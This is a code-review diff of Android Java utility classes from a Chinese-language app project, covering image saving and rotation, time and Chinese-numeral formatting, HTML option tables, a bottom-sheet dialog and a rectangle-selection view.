194 for (int i = 0; i < 5; i++) {
195
196 int temp = r.nextInt(58) + 65;
197 // 随机生成 65—122 的数(A—z)
198
199 if ((temp >= 'A' && temp <= 'Z') || (temp >= 'a' && temp <= 'z')) {
200 // 判断随机数是不是(A-Z)||(a-z)
201
202 str += (char) temp;
203 // 将当前随机数强制转化为字符类型并和字符串相加
204
205 } else {
206 // 不满足条件,将当前的i再执行一次
207 i--;
208 }
209 }
210 return str;
211 // 返回长度为5的随机字符串,字符串由随机的5个大小写字母组成
212 }
213
214 /**
215 * @param bmp
216 * @param uri
217 * @return 保存bitmap到指定路径
218 */
219 public static boolean saveBitmapToUri(Bitmap bmp, String uri) {
220 final File imgFile = new File(uri);
221 if (!imgFile.exists()) {
222 imgFile.getParentFile().mkdir();
223 }
224
225 FileOutputStream fos = null;
226 try {
227 fos = new FileOutputStream(imgFile);
228 bmp.compress(Bitmap.CompressFormat.JPEG, 85, fos);
229 fos.flush();
230 return true;
231 } catch (FileNotFoundException e) {
232 e.printStackTrace();
233 } catch (IOException e) {
234 e.printStackTrace();
235 } finally {
236 try {
237 if (fos != null) {
238 fos.close();
239 }
240 } catch (IOException e) {
241 e.printStackTrace();
242 }
243 }
244 return false;
245 }
246
247 public static String formatTime(Long time) {
248 Long seconds = time / 1000;
249 String standardTime;
250 if (seconds <= 0) {
251 standardTime = "00:00";
252 } else if (seconds < 60) {
253 standardTime = String.format(Locale.getDefault(), "00:%02d", seconds % 60);
254 } else if (seconds < 3600) {
255 standardTime = String.format(Locale.getDefault(), "%02d:%02d", seconds / 60, seconds % 60);
256 } else {
257 standardTime = String.format(Locale.getDefault(), "%02d:%02d:%02d", seconds / 3600, seconds % 3600 / 60, seconds % 60);
258 }
259 return standardTime;
260 }
261
262 public static String formatTimeChinese(Long time) {
263 Long seconds = time / 1000;
264 String standardTime;
265 if (seconds <= 0) {
266 standardTime = "00:00";
267 } else if (seconds < 60) {
268 standardTime = String.format(Locale.getDefault(), "%02d秒", seconds % 60);
269 } else if (seconds < 3600) {
270 standardTime = String.format(Locale.getDefault(), "%02d分%02d秒", seconds / 60, seconds % 60);
271 } else {
272 standardTime = String.format(Locale.getDefault(), "%02d时%02d分%02d秒", seconds / 3600, seconds % 3600 / 60, seconds % 60);
273 }
274 return standardTime;
275 }
276
277 public static int readPictureDegree(String path) {
278 int degree = 0;
279 try {
280 ExifInterface exifInterface = new ExifInterface(path);
281 int orientation = exifInterface.getAttributeInt(ExifInterface.TAG_ORIENTATION, ExifInterface.ORIENTATION_NORMAL);
282 switch (orientation) {
283 case ExifInterface.ORIENTATION_ROTATE_90:
284 degree = 90;
285 break;
286 case ExifInterface.ORIENTATION_ROTATE_180:
287 degree = 180;
288 break;
289 case ExifInterface.ORIENTATION_ROTATE_270:
290 degree = 270;
291 break;
292 }
293 } catch (IOException e) {
294 e.printStackTrace();
295 }
296 return degree;
297 }
298
299 public static Bitmap rotaingImageView(int angle, Bitmap bitmap) {
300 //旋转图片 动作
301 Matrix matrix = new Matrix();
302 matrix.postRotate(angle);
303 // 创建新的图片
304 return Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true);
305 }
306
307 public static List<String> getYears(int num) {
308 List<String> list = new ArrayList<>();
309 list.add("全部");
310 Calendar cd = Calendar.getInstance();
311 int year = cd.get(Calendar.YEAR);
312 for (int i = 0; i < num; i++) {
313 list.add(Integer.toString(year));
314 year--;
315 }
316 return list;
317 }
318
319 public static int[] getRawScreenSize(Context context) {
320 int[] size = new int[2];
321
322 WindowManager w = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
323 Display d = w.getDefaultDisplay();
324 DisplayMetrics metrics = new DisplayMetrics();
325 d.getMetrics(metrics);
326 // since SDK_INT = 1;
327 int widthPixels = metrics.widthPixels;
328 int heightPixels = metrics.heightPixels;
329
330 // includes window decorations (statusbar bar/menu bar)
331 if (Build.VERSION.SDK_INT >= 14 && Build.VERSION.SDK_INT < 17)
332 try {
333 widthPixels = (Integer) Display.class.getMethod("getRawWidth").invoke(d);
334 heightPixels = (Integer) Display.class.getMethod("getRawHeight").invoke(d);
335 } catch (Exception ignored) {
336 }
337 // includes window decorations (statusbar bar/menu bar)
338 if (Build.VERSION.SDK_INT >= 17)
339 try {
340 Point realSize = new Point();
341 Display.class.getMethod("getRealSize", Point.class).invoke(d, realSize);
342 widthPixels = realSize.x;
343 heightPixels = realSize.y;
344 } catch (Exception ignored) {
345 }
346 size[0] = widthPixels;
347 size[1] = heightPixels;
348 return size;
349 }
350
351 public static List<Rect> getRect(List<CutPicBean.FigLoaction> list, Bitmap bitmap, int height, int width) {
352 List<Rect> rects = new ArrayList<>();
353 for (CutPicBean.FigLoaction figLoaction : list) {
354 Rect rect = new Rect();
355 rect.left = figLoaction.getPoints().get(0).getX() * width / bitmap.getWidth();
356 rect.top = figLoaction.getPoints().get(0).getY() * height / bitmap.getHeight();
357 rect.right = figLoaction.getPoints().get(2).getX() * width / bitmap.getWidth();
358 rect.bottom = figLoaction.getPoints().get(2).getY() * height / bitmap.getHeight();
359 rects.add(rect);
360 }
361 return rects;
362 }
363
364 public static Rect getRect(CutPicBean.FigLoaction figLoaction, Bitmap bitmap, int height, int width) {
365 Rect rect = new Rect();
366 rect.left = figLoaction.getPoints().get(0).getX() * width / bitmap.getWidth();
367 rect.top = figLoaction.getPoints().get(0).getY() * height / bitmap.getHeight();
368 rect.right = figLoaction.getPoints().get(2).getX() * width / bitmap.getWidth();
369 rect.bottom = figLoaction.getPoints().get(2).getY() * height / bitmap.getHeight();
370 return rect;
371 }
372
373 public static List<CutPicBean.FigLoaction> rotaingLocation(int angle, List<CutPicBean.FigLoaction> list, int width, int height) {
374 for (CutPicBean.FigLoaction figLoaction : list) {
375 for (CutPicBean.Points points : figLoaction.getPoints()) {
376 int x = points.getX();
377 int y = points.getY();
378 if (angle == 90) {
379 points.setX(height - y);
380 points.setY(x);
381 } else if (angle == 180) {
382 points.setX(width - x);
383 points.setY(height - y);
384 } else if (angle == 270) {
385 points.setX(y);
386 points.setY(width - x);
387 }
388 }
389 }
390 return list;
391 }
392
393 }
394
libs/common/src/main/java/com/prws/common/utils/StringUtils.java
File was created 1 package com.prws.common.utils;
2
3 import android.text.SpannableStringBuilder;
4
5
6 import java.util.ArrayList;
7 import java.util.Calendar;
8 import java.util.List;
9
10 public class StringUtils {
11
12
13 public static String getDegree(float degree) {
14 if (degree > 0 && degree < 0.2) {
15 return "难";
16 } else if (degree < 0.4) {
17 return "较难";
18 } else if (degree < 0.6) {
19 return "中等";
20 } else if (degree < 0.8) {
21 return "较易";
22 } else {
23 return "易";
24 }
25 }
26
27 public static String getScore(int right, int total) {
28 if (right == total) {
29 return "S";
30 } else {
31 int degree = right * 100 / total;
32 if (degree >= 80) {
33 return "A";
34 } else if (degree >= 60) {
35 return "B";
36 } else {
37 return "C";
38 }
39 }
40 }
41
42 /**
43 * 将数字转换为汉字
44 *
45 * @param number
46 * @return
47 */
48 public static String intToChinese(int number) {
49 String value = String.valueOf(number);
50 SpannableStringBuilder spannable = new SpannableStringBuilder();
51 int length = value.length();
52 if (length > 1) {
53 /**
54 * 对于长度大于1的数,对首位进行赋值;
55 * 对于两位数: 如果首位为“1”,则拼接的字符串为“”;
56 */
57 spannable.append(getChinese(number / (int) Math.pow(10, length - 1), length))
58 .append(getUnitChinese(length));
59 // 如果该数值取余数为0,则直接返回已有字符(例如:100,直接返回一百)
60 if (number % (int) Math.pow(10, length - 1) == 0) {
61 return spannable.toString();
62 }
63 }
64 // 数字为一位数
65 if (length == 1) {
66 spannable.append(getChinese(number, 1));
67 }
68 // 数字为两位数
69 if (length == 2) {
70 // 拼接个位的数值: 如果各位为“0”,则拼接的字符串为“”;
71 spannable.append(getChinese(number % 10, 0));
72 }
73 // 数字为三位数
74 if (length == 3) {
75 if (number % 100 < 10) {
76 spannable.append("零")
77 .append(getChinese(number % 100, 3));
78 } else {
79 spannable.append(getChinese(number % 100 / 10, 3))
80 .append("十")
81 .append(getChinese(number % 10, 0));
82 }
83 }
84 // 数字为四位数
85 if (length == 4) {
86 if (number % 1000 < 10) {
87 spannable.append("零").append(getChinese(number % 1000, 3));
88 } else if (number % 1000 < 100) {
89 spannable.append("零")
90 .append(getChinese(number % 1000 / 10, 3))
91 .append("十")
92 .append(getChinese(number % 10, 0));
93 } else {
94 number = number % 1000;
95 spannable.append(intToChinese(number));
96 }
97 }
98 return spannable.toString();
99 }
100
101 /**
102 * 根据不同的情况获取对应的中文
103 *
104 * @param key
105 * @param length
106 * @return
107 */
108
109 public static String getChinese(int key, int length) {
110 switch (key) {
111 case 1:
112 if (length == 2) {
113 return "";
114 }
115 return "一";
116 case 2:
117 return "二";
118 case 3:
119 return "三";
120 case 4:
121 return "四";
122 case 5:
123 return "五";
124 case 6:
125 return "六";
126 case 7:
127 return "七";
128 case 8:
129 return "八";
130 case 9:
131 return "九";
132 case 0:
133 if (length == 1) {
134 return "零";
135 }
136 return "";
137
138 }
139 return "";
140 }
141
142 /**
143 * 根据数字的位数返回最大位数的单位
144 *
145 * @param length
146 * @return
147 */
148 public static String getUnitChinese(int length) {
149 switch (length) {
150 case 2:
151 return "十";
152 case 3:
153 return "百";
154 case 4:
155 return "千";
156 }
157 return "";
158 }
159
160 public static String OptionsHtml(List<String> options, List<String> select) {
161 if (options == null || options.size() < 1) {
162 return "";
163 }
164
165 if (select == null) {
166 select = new ArrayList<String>();
167 }
168
169 int i = 0;
170 int legth = 0;
171 List<String[]> ops = new ArrayList<String[]>();
172 String[] opLetter = {"A、", "B、", "C、", "D、", "E、", "F、", "G、", "H、"};
173 StringBuilder sb = new StringBuilder();
174 sb.append("<table style='width: 100%;'>");
175 for (String p : options) {
176 legth += p.length();
177 String[] tops = new String[3];
178 tops[0] = opLetter[i];
179 tops[1] = "";
180 tops[2] = p;
181 for (String sv : select) {
182 if (sv.equals(i + "")) {
183 tops[1] = "opsed";
184 }
185 }
186 ops.add(tops);
187 i++;
188 }
189 // 一行显示全部
190 if (legth < 10) {
191 // String pwidth=Math.ceil((100-2d)/options.size())+"%";
192 sb.append("<tbody><tr>");
193 for (String[] p : ops) {
194 sb.append("<td class='" + p[1] + "'>" + p[0] + p[2] + "</td>");
195 }
196 sb.append("</tr></tbody></table>");
197 return sb.toString();
198 }
199 // 一行显示两个
200 if (legth < 20) {
201 i = 0;
202 sb.append("<tbody><tr>");
203 for (String[] p : ops) {
204 sb.append("<td class='" + p[1] + "'>" + p[0] + p[2] + "</td>");
205 if ((i + 1) % 2 == 0) {
206 sb.append("</tr><tr>");
207 }
208 i++;
209 }
210 if (options.size() % 2 != 0) {
211 sb.append("</tr>");
212 }
213 sb.append("</tbody></table>");
214 return sb.toString();
215 }
216 // 一行显示一个
217 sb.append("<tbody class='measureRoot'>");// 样式measureRoot、whmeasure是为了让js动态对选项布局
218 for (String[] p : ops) {
219 sb.append("<tr><td class='" + p[1] + "'><span class='whmeasure'>" + p[0] + p[2] + "</span></td></tr>");
220 }
221 sb.append("</tbody></table>");
222 return sb.toString();
223 }
224
225
226 }
227
libs/common/src/main/java/com/prws/common/utils/dialog/MyButtomDialog.java
File was created 1 package com.prws.common.utils.dialog;
2
3 import android.content.Context;
4 import android.content.DialogInterface;
5 import android.os.Build;
6 import android.os.Bundle;
7 import android.view.View;
8 import android.view.WindowManager;
9
10 import androidx.annotation.NonNull;
11
12 import com.google.android.material.bottomsheet.BottomSheetDialog;
13
14 public class MyButtomDialog extends BottomSheetDialog {
15
16 public MyButtomDialog(@NonNull Context context) {
17 super(context);
18 }
19
20 public MyButtomDialog(@NonNull Context context, int theme) {
21 super(context, theme);
22 }
23
24 protected MyButtomDialog(@NonNull Context context, boolean cancelable, DialogInterface.OnCancelListener cancelListener) {
25 super(context, cancelable, cancelListener);
26 }
27
28 @Override
29 protected void onCreate(Bundle savedInstanceState) {
30 super.onCreate(savedInstanceState);
31 getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
32 getWindow().getDecorView().setOnSystemUiVisibilityChangeListener(new View.OnSystemUiVisibilityChangeListener() {
33 @Override
34 public void onSystemUiVisibilityChange(int visibility) {
35 int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
36 | View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
37 getWindow().getDecorView().setSystemUiVisibility(uiOptions);
38 }
39 });
40 }
41
42 private void fullScreenImmersive(View view) {
43 if (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT) {
44 int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE
45 | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
46 | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
47 | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY
48 | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
49 | View.SYSTEM_UI_FLAG_FULLSCREEN;
50 view.setSystemUiVisibility(uiOptions);
51 }
52 }
53
54 @Override
55 public void show() {
56 this.getWindow().setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE);
57 super.show();
58 fullScreenImmersive(getWindow().getDecorView());
59 this.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE);
60 }
61 }
62
libs/common/src/main/java/com/prws/common/widget/MarkSizeView.java
File was created 1 package com.prws.common.widget;
2
3 import android.content.Context;
4 import android.content.res.TypedArray;
5 import android.graphics.Bitmap;
6 import android.graphics.BitmapFactory;
7 import android.graphics.Canvas;
8 import android.graphics.Color;
9 import android.graphics.Paint;
10 import android.graphics.Rect;
11 import android.graphics.RectF;
12 import android.util.AttributeSet;
13 import android.util.Log;
14 import android.view.MotionEvent;
15 import android.view.View;
16
17 import com.prws.common.R;
18 import com.prws.common.utils.CommonUtil;
19
20
21 /**
22 * Created by Administrator on 2016/11/28.
23 */
24 public class MarkSizeView extends View {
25 private final String Tag = "MarkSizeView";
26 private static final int DEFAULT_MARKED_COLOR = Color.parseColor("#ffd84e43");
27 private static final int DEFAULT_UNMARKED_COLOR = Color.parseColor("#00000000");
28 private static final int DEFAULT_STROKE_COLOR = Color.parseColor("#009688");
29 private static final int DEFAULT_STROKE_WIDTH = 2;//dp
30 private static final int DEFAULT_VERTEX_COLOR = Color.parseColor("#009688");
31 private static final int DEFAULT_CONFIRM_BUTTON_RES = R.mipmap.select_confirm;
32 private static final int DEFAULT_CANCEL_BUTTON_RES = R.mipmap.select_cancel;
33 private static final int DEFAULT_BACK_ROUND_RES = R.color.white;
34
35 private static final int BUTTON_EXTRA_WIDTH = 8;
36
37 private static final int DEFAULT_VERTEX_WIDTH = 20;//dp
38
39
40 private int markedColor = DEFAULT_MARKED_COLOR;
41 private int unmarkedColor = DEFAULT_UNMARKED_COLOR;
42 private int strokeColor = DEFAULT_STROKE_COLOR;
43 private int strokeWidth = DEFAULT_STROKE_WIDTH;//dp
44 private int vertexColor = DEFAULT_VERTEX_COLOR;
45 private int confirmButtonRes = DEFAULT_CONFIRM_BUTTON_RES;
46 private int cancelButtonRes = DEFAULT_CANCEL_BUTTON_RES;
47 private int backGroundRes = DEFAULT_BACK_ROUND_RES;
48 private int vertexWidth = DEFAULT_VERTEX_WIDTH;
49 private int mActionGap;
50
51
52 private Paint unMarkPaint, markPaint, vertexPaint, mBitPaint;
53
54 private int downX, downY;
55 private int startX, startY;
56 private int endX, endY;
57
58 private Rect markedArea;
59 private Rect confirmArea, cancelArea;
60 private RectF ltVer, rtVer, lbVer, rbVer;
61 private boolean isValid = false;
62 private boolean isUp = false;
63 private boolean isMoveMode = false;
64 private boolean isAdjustMode = false;
65 private boolean isButtonClicked = false;
66 private int adjustNum = 0;
67
68 private Bitmap confirmBitmap, cancelBitmap, backGroundBitmap;
69
70 private onClickListener mOnClickListener;
71
72 private Context context;
73 private Rect region;
74
75 public MarkSizeView(Context context) {
76 super(context);
77 init(context, null);
78 }
79
80 public MarkSizeView(Context context, AttributeSet attrs) {
81 super(context, attrs);
82 init(context, attrs);
83 }
84
85 private void init(Context context, AttributeSet attrs) {
86 this.context = context;
87 if (attrs != null) {
88 TypedArray typedArray = context.obtainStyledAttributes(attrs, R.styleable.MarkSizeView);
89 markedColor = typedArray.getColor(R.styleable.MarkSizeView_markedColor, DEFAULT_MARKED_COLOR);
90 unmarkedColor = typedArray.getColor(R.styleable.MarkSizeView_unMarkedColor, DEFAULT_UNMARKED_COLOR);
91 strokeColor = typedArray.getColor(R.styleable.MarkSizeView_strokesColor, DEFAULT_STROKE_COLOR);
92 strokeWidth = typedArray.getDimensionPixelSize(R.styleable.MarkSizeView_strokeWidth, DEFAULT_STROKE_WIDTH);
93 vertexColor = typedArray.getColor(R.styleable.MarkSizeView_vertexColor, DEFAULT_VERTEX_COLOR);
94 vertexWidth = typedArray.getDimensionPixelSize(R.styleable.MarkSizeView_vertexWidth, DEFAULT_VERTEX_WIDTH);
95 confirmButtonRes = typedArray.getResourceId(R.styleable.MarkSizeView_confirmButtonRes, DEFAULT_CONFIRM_BUTTON_RES);
96 cancelButtonRes = typedArray.getResourceId(R.styleable.MarkSizeView_cancleButtonRes, DEFAULT_CANCEL_BUTTON_RES);
97 backGroundRes = typedArray.getResourceId(R.styleable.MarkSizeView_backGroundRes, DEFAULT_BACK_ROUND_RES);
98 }
99
100 unMarkPaint = new Paint();
101 unMarkPaint.setColor(unmarkedColor);
102 unMarkPaint.setAntiAlias(true);
103
104 markPaint = new Paint();
105 markPaint.setAntiAlias(true);
106 markPaint.setStrokeWidth(strokeWidth); //线的宽度
107
108 vertexPaint = new Paint();
109 vertexPaint.setColor(vertexColor);
110 vertexPaint.setAntiAlias(true);
111
112 mBitPaint = new Paint(Paint.ANTI_ALIAS_FLAG);
113 mBitPaint.setFilterBitmap(true);
114 mBitPaint.setDither(true);
115
116 markedArea = new Rect();
117 confirmArea = new Rect();
118 cancelArea = new Rect();
119
120 ltVer = new RectF();
121 rtVer = new RectF();
122 lbVer = new RectF();
123 rbVer = new RectF();
124
125 confirmBitmap = BitmapFactory.decodeResource(getResources(), confirmButtonRes);
126 cancelBitmap = BitmapFactory.decodeResource(getResources(), cancelButtonRes);
127 backGroundBitmap = BitmapFactory.decodeResource(getResources(), backGroundRes);
128
129 mActionGap = CommonUtil.dpToPx(context, 15);
130 }
131
132 private int imageWidth;
133 private int imageHeight;
134
135 public void setSize(int imageWidth, int imageHeight) {
136 this.imageWidth = imageWidth;
137 this.imageHeight = imageHeight;
138 }
139
140 @Override
141 protected void onDraw(Canvas canvas) {
142 Log.d(toString(), "onDraw");
143
144 int width = imageWidth > 0 ? imageWidth : getWidth();
145 int height = imageHeight > 0 ? imageHeight : getHeight();
146 //draw unmarked
147 Rect rect = new Rect(0, 0, width, height);
148 if (backGroundBitmap != null)
149 canvas.drawBitmap(backGroundBitmap, null, rect, mBitPaint);
150 canvas.drawRect(rect, unMarkPaint);
151 //draw marked
152 if (isValid || !isEnabled()) {
153 markPaint.setStyle(Paint.Style.FILL);
154 markPaint.setColor(markedColor);
155
156 canvas.drawRect(markedArea, markPaint);
157
158 markPaint.setStyle(Paint.Style.STROKE);//不填充
159 markPaint.setColor(strokeColor);
160 canvas.drawRect(markedArea, markPaint);
161 }
162 if (!isEnabled()) {
163 return;
164 }
165 //draw vertex
166 if (isValid && isUp) {
167 canvas.drawOval(ltVer, vertexPaint);
168 canvas.drawOval(rtVer, vertexPaint);
169 canvas.drawOval(lbVer, vertexPaint);
170 canvas.drawOval(rbVer, vertexPaint);
171 }
172
173 //draw button
174 if (isValid && isUp) {
175 if (markedArea.width() >= CommonUtil.dpToPx(context, 40) && markedArea.height() >= CommonUtil.dpToPx(context, 40)) {
176 canvas.drawBitmap(confirmBitmap, null, confirmArea, mBitPaint);
177 canvas.drawBitmap(cancelBitmap, null, cancelArea, mBitPaint);
178 }
179 }
180 super.onDraw(canvas);
181 }
182
183 @Override
184 protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
185 super.onLayout(changed, left, top, right, bottom);
186 int measuredWidth = getMeasuredWidth();
187 int measuredHeight = getMeasuredHeight();
188 region = new Rect(0, 0, measuredWidth, measuredHeight);
189 Log.e("onLayout", "measuredWidth=" + measuredWidth + ";measuredHeight=" + measuredHeight);
190 }
191
192 @Override
193 public boolean onTouchEvent(MotionEvent event) {
194 if (!isEnabled()) {
195 return false;
196 }
197 int x = (int) event.getX();
198 int y = (int) event.getY();
199 switch (event.getAction()) {
200 case MotionEvent.ACTION_DOWN:
201 isUp = false;
202 isAdjustMode = false;
203 isMoveMode = false;
204 isButtonClicked = false;
205 isValid = false;
206 adjustNum = 0;
207 downX = x;
208 downY = y;
209 if (mOnClickListener != null) {
210 mOnClickListener.onTouch();
211 }
212 if (isAreaContainPoint(confirmArea, x, y)) {
213 isButtonClicked = true;
214 isValid = true;
215 invalidate();
216 if (mOnClickListener != null) {
217 mOnClickListener.onConfirm(markedArea);
218 }
219 } else if (isAreaContainPoint(cancelArea, x, y)) {
220 isButtonClicked = true;
221 isValid = true;
222 if (mOnClickListener != null) {
223 mOnClickListener.onCancel();
224 isValid = false;
225 startX = startY = endX = endY = 0;
226 adjustMark(0, 0);
227 }
228 } else if (isAreaContainPoint(ltVer, x, y)) {
229 isAdjustMode = true;
230 adjustNum = 1;
231 } else if (isAreaContainPoint(rtVer, x, y)) {
232 isAdjustMode = true;
233 adjustNum = 2;
234 } else if (isAreaContainPoint(lbVer, x, y)) {
235 isAdjustMode = true;
236 adjustNum = 3;
237 } else if (isAreaContainPoint(rbVer, x, y)) {
238 isAdjustMode = true;
239 adjustNum = 4;
240 } else if (markedArea.contains(x, y)) {
241 isMoveMode = true;
242 } else {
243 isMoveMode = false;
244 startX = (int) event.getX();
245 startY = (int) event.getY();
246 endX = startX;
247 endY = startY;
248 }
249 break;
250 case MotionEvent.ACTION_MOVE:
251 if (isButtonClicked) {
252 break;
253 }
254 adjustMark(x, y);
255 break;
256 case MotionEvent.ACTION_UP:
257 isUp = true;
258 if (markedArea.width() >= CommonUtil.dpToPx(context, 40) && markedArea.height() >= CommonUtil.dpToPx(context, 40)) {
259 if (isButtonClicked) {
260 break;
261 }
262 adjustMark(x, y);
263 startX = markedArea.left;
264 startY = markedArea.top;
265 endX = markedArea.right;
266 endY = markedArea.bottom;
267
268 if (markedArea.width() > confirmBitmap.getWidth() * 3 + mActionGap * 3 && markedArea.height() > confirmBitmap.getHeight() * 5) {
269 //显示在选区的内底部
270 confirmArea.set(endX - confirmBitmap.getWidth() - mActionGap,
271 endY - confirmBitmap.getHeight() - mActionGap,
272 endX - mActionGap,
273 endY - mActionGap);
274
275 cancelArea.set(endX - 2 * confirmBitmap.getWidth() - mActionGap * 2 - CommonUtil.dpToPx(context, 15),
276 endY - confirmBitmap.getHeight() - mActionGap,
277 endX - confirmBitmap.getWidth() - mActionGap * 2 - CommonUtil.dpToPx(context, 15),
278 endY - mActionGap);
279 } else if (endY > getHeight() - confirmBitmap.getHeight() * 3) {
280 //显示在选区的上面
281 confirmArea.set(endX - confirmBitmap.getWidth() - mActionGap,
282 startY - confirmBitmap.getHeight() - mActionGap,
283 endX - mActionGap,
284 startY - mActionGap);
285
286 cancelArea.set(endX - 2 * confirmBitmap.getWidth() - mActionGap * 2 - CommonUtil.dpToPx(context, 15),
287 startY - confirmBitmap.getHeight() - mActionGap,
288 endX - confirmBitmap.getWidth() - mActionGap * 2 - CommonUtil.dpToPx(context, 15),
289 startY - mActionGap);
290 } else {
291 //显示在选区的下面
292 confirmArea.set(endX - confirmBitmap.getWidth() - mActionGap,
293 endY + mActionGap,
294 endX - mActionGap,
295 endY + confirmBitmap.getHeight() + mActionGap);
296
297 cancelArea.set(endX - 2 * confirmBitmap.getWidth() - mActionGap * 2 - CommonUtil.dpToPx(context, 15),
298 endY + mActionGap,
299 endX - confirmBitmap.getWidth() - mActionGap * 2 - CommonUtil.dpToPx(context, 15),
300 endY + confirmBitmap.getHeight() + mActionGap);
301 }
302
303 if (cancelArea.left < 0) {
304 int cancelAreaLeftMargin = Math.abs(cancelArea.left) + mActionGap;
305 cancelArea.left = cancelArea.left + cancelAreaLeftMargin;
306 cancelArea.right = cancelArea.right + cancelAreaLeftMargin;
307 confirmArea.left = confirmArea.left + cancelAreaLeftMargin;
308 confirmArea.right = confirmArea.right + cancelAreaLeftMargin;
309 }
310
311 if (!isValid) {
312 if (mOnClickListener != null) {
313 mOnClickListener.onCancel();
314 }
315 }
316 }
317 break;
318 case MotionEvent.ACTION_CANCEL:
319 isUp = true;
320 break;
321 }
322 postInvalidate();
323 return true;
324 }
325
326 /**
327 * 是否在按钮点击范围
328 *
329 * @param area
330 * @param x
331 * @param y
332 * @return
333 */
334 private boolean isAreaContainPoint(Rect area, int x, int y) {
335 Rect newArea = new Rect(area.left - BUTTON_EXTRA_WIDTH, area.top - BUTTON_EXTRA_WIDTH, area.right + BUTTON_EXTRA_WIDTH, area.bottom + BUTTON_EXTRA_WIDTH);
336 if (newArea.contains(x, y)) {
337 return true;
338 }
339 return false;
340 }
341
342 private void adjustMark(int x, int y) {
343 if (isAdjustMode) {
344 //拖动四个顶点
345 int moveMentX = x - downX;
346 int moveMentY = y - downY;
347
348 switch (adjustNum) {
349 case 1:
350 startX = startX + moveMentX;
351 startY = startY + moveMentY;
352 break;
353 case 2:
354 endX = endX + moveMentX;
355 startY = startY + moveMentY;
356 break;
357 case 3:
358 startX = startX + moveMentX;
359 endY = endY + moveMentY;
360 break;
361 case 4:
362 endX = endX + moveMentX;
363 endY = endY + moveMentY;
364 break;
365 }
366 downX = x;
367 downY = y;
368 } else if (isMoveMode) {
369 //移动矩形框
370 int moveMentX = x - downX;
371 int moveMentY = y - downY;
372
373 startX = startX + moveMentX;
374 startY = startY + moveMentY;
375
376 endX = endX + moveMentX;
377 endY = endY + moveMentY;
378
379 downX = x;
380 downY = y;
381 } else {
382 //绘制矩形框
383 endX = x;
384 endY = y;
385 }
386 Log.e(Tag, "startX=" + startX + ";startY=" + startY + ";endX=" + endX + ";endY=" + endY);
387 Rect rect = new Rect(Math.min(startX, endX), Math.min(startY, endY), Math.max(startX, endX), Math.max(startY, endY));
388 if (region.contains(rect)) {
389 //当方框的区域不超出View的宽高值时才绘制
390 markedArea.set(Math.min(startX, endX), Math.min(startY, endY), Math.max(startX, endX), Math.max(startY, endY));
391 }
392 ltVer.set(markedArea.left - vertexWidth / 2, markedArea.top - vertexWidth / 2, markedArea.left + vertexWidth / 2, markedArea.top + vertexWidth / 2);
393 rtVer.set(markedArea.right - vertexWidth / 2, markedArea.top - vertexWidth / 2, markedArea.right + vertexWidth / 2, markedArea.top + vertexWidth / 2);
394 lbVer.set(markedArea.left - vertexWidth / 2, markedArea.bottom - vertexWidth / 2, markedArea.left + vertexWidth / 2, markedArea.bottom + vertexWidth / 2);
395 rbVer.set(markedArea.right - vertexWidth / 2, markedArea.bottom - vertexWidth / 2, markedArea.right + vertexWidth / 2, markedArea.bottom + vertexWidth / 2);
396 if (markedArea.height() * markedArea.width() > 200) {
397 isValid = true;
398 } else {
399 isValid = false;
400 }
401 }
402
403 private boolean isAreaContainPoint(RectF area, int x, int y) {
404 RectF newArea = new RectF(area.left - BUTTON_EXTRA_WIDTH, area.top - BUTTON_EXTRA_WIDTH, area.right + BUTTON_EXTRA_WIDTH, area.bottom + BUTTON_EXTRA_WIDTH);
405 if (newArea.contains(x, y)) {
406 return true;
407 }
408 return false;
409 }
410
411 public interface onClickListener {
412 void onConfirm(Rect markedArea);
413
414 void onCancel();
415
416 void onTouch();
417 }
418
419 public void setmOnClickListener(onClickListener mOnClickListener) {
420 this.mOnClickListener = mOnClickListener;
421 }
422
423 public void setBackGroundRes(int backGroundRes) {
424 Bitmap backGroundBitmap = BitmapFactory.decodeResource(getResources(), backGroundRes);
425 this.backGroundBitmap = backGroundBitmap;
426 postInvalidate();
427 }
428
429 public void setBackGroundBitmap(Bitmap backGroundBitmap) {
430 this.backGroundBitmap = backGroundBitmap;
431 postInvalidate();
432 }
433
434 public Bitmap getBackGroundBitmap() {
435 return backGroundBitmap;
436 }
437
438 public void setUnmarkedColor(int unmarkedColor) {
439 this.unmarkedColor = unmarkedColor;
440 unMarkPaint.setColor(unmarkedColor);
441 invalidate();
442 }
443
444 public void reset() {
445 isUp = false;
446 isValid = false;
447 startX = startY = endX = endY = 0;
448 adjustMark(0, 0);
449 }
450
451 }
452
libs/common/src/main/res/mipmap-xxhdpi/select_cancel.png

1.86 KB

libs/common/src/main/res/mipmap-xxhdpi/select_confirm.png

2.66 KB

libs/common/src/main/res/values/attrs.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <resources> 2 <resources>
3 <declare-styleable name="LabelsView"> 3 <declare-styleable name="LabelsView">
4 <attr name="selectType" format="enum"> 4 <attr name="selectType" format="enum">
5 <enum name="NONE" value="1" /> 5 <enum name="NONE" value="1" />
6 <enum name="SINGLE" value="2" /> 6 <enum name="SINGLE" value="2" />
7 <enum name="SINGLE_IRREVOCABLY" value="3" /> 7 <enum name="SINGLE_IRREVOCABLY" value="3" />
8 <enum name="MULTI" value="4" /> 8 <enum name="MULTI" value="4" />
9 </attr> 9 </attr>
10 10
11 <attr name="labelGravity"> 11 <attr name="labelGravity">
12 <!-- Push object to the top of its container, not changing its size. --> 12 <!-- Push object to the top of its container, not changing its size. -->
13 <flag name="top" value="0x30" /> 13 <flag name="top" value="0x30" />
